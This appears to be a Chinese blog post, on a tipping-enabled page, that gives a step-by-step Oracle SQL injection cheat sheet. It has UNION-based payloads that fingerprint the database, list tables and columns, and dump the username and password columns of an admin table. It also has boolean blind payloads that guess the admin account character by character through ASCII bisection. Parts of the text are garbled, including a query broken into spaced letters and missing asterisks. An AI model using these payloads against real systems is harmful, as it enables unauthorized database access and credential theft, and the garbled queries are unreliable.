Oracle第一种注入方式

Oracle第一种注入方式
1.判断oracle数据库: and exists(select * from dual)
and exists(select * from user_tables)
2.判断列数: order by
3.获取数据类型不匹配的列: id=100 union select null,null,null,null, null, null, from dual
在每列上逐个用数字代替null,1,null…from dual, 如果返回正常说明该列为数字类型,反之则为非数字类型。
也可以逐个用引号引起来如:‘null’,null…from dual, 返回正常说明该列为字符类型,反之为非数字类型。
5.获取基本信息: 获取数据库版本
(select banner from sys.v_ v e r s i o n w h e r e r o w n u m = 1 ) 获 取 操 作 系 统 版 本 ( s e l e c t m e m b e r f r o m v version where rownum=1) 获取操作系统版本 ( select member from v versionwhererownum=1)(selectmemberfromvlogfile where rownum=1)
获取连接数据库的当前用户
( select SYS_CONTEXT (‘USERENV’,‘CURRENT_USER’)from dual)
获取数据库
(select owner from all_tables where rownum=1)
6.获取连接数据库的当前用户:id=100 union select null,( select SYS_CONTEXT (‘USERENV’,‘CURRENT_USER’)from dual),null,null from dual
7.获取第一个表:id=100 union select null,( select table_name from user_tables where rownum=1),null,null from dual
8.获取第二个表:id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>‘xxxxx’),null,null,null from dual //单引号里的为上一个表名,以此类推就可以得到所有的表名
9.获取第一个列名:<假设我们得到管理员表名为:admin>
id=-100 union select null,(select column_name from user_tab_columns where table_name=‘admin’ and rownum=1),4,5,6 from dual,null,null, from dual //单引号里的为表名

Oracle:
9.获取第二个列名:<假设获取第一个列名为EMPLOYEE_ID>
id=-100 union select null,(select column_name from user_tab_columns where table_name=‘admin’ and rownum=1 and column_name<>‘EMPLOYEE_ID’),4,5,6 from dual,null,null from dual //<>‘EMPLOYEE_ID’ 不等于第一个列
10.获取数据库:union select 1,2,name,4,5,6 from admin
union select 1,2,pass,4,5,6 from admin

Oracle第二种注入方式
1.判断数据库中的表:网址后加上:and (select count() from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin 改为username、manager等常用表名继续猜解。
2.判断下该网站下有几个管理员:and (select count(
) from admin)=1,返回正常说明只有一个管理员
3.指定表名获取列名:and (select count(name) from admin)>=0返回正常,说明存在name字段
接下来采用ASCII码折半法猜解管理员帐号和密码:
1.判断管理员名字长度:
and (select count() from admin where length(name)>=5)=1
说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成
2.判断管理员账号:and (select count(
) from admin where ascii(substr(name,1,1))>=97)=1
说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a
判断name字段第二个字符:and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值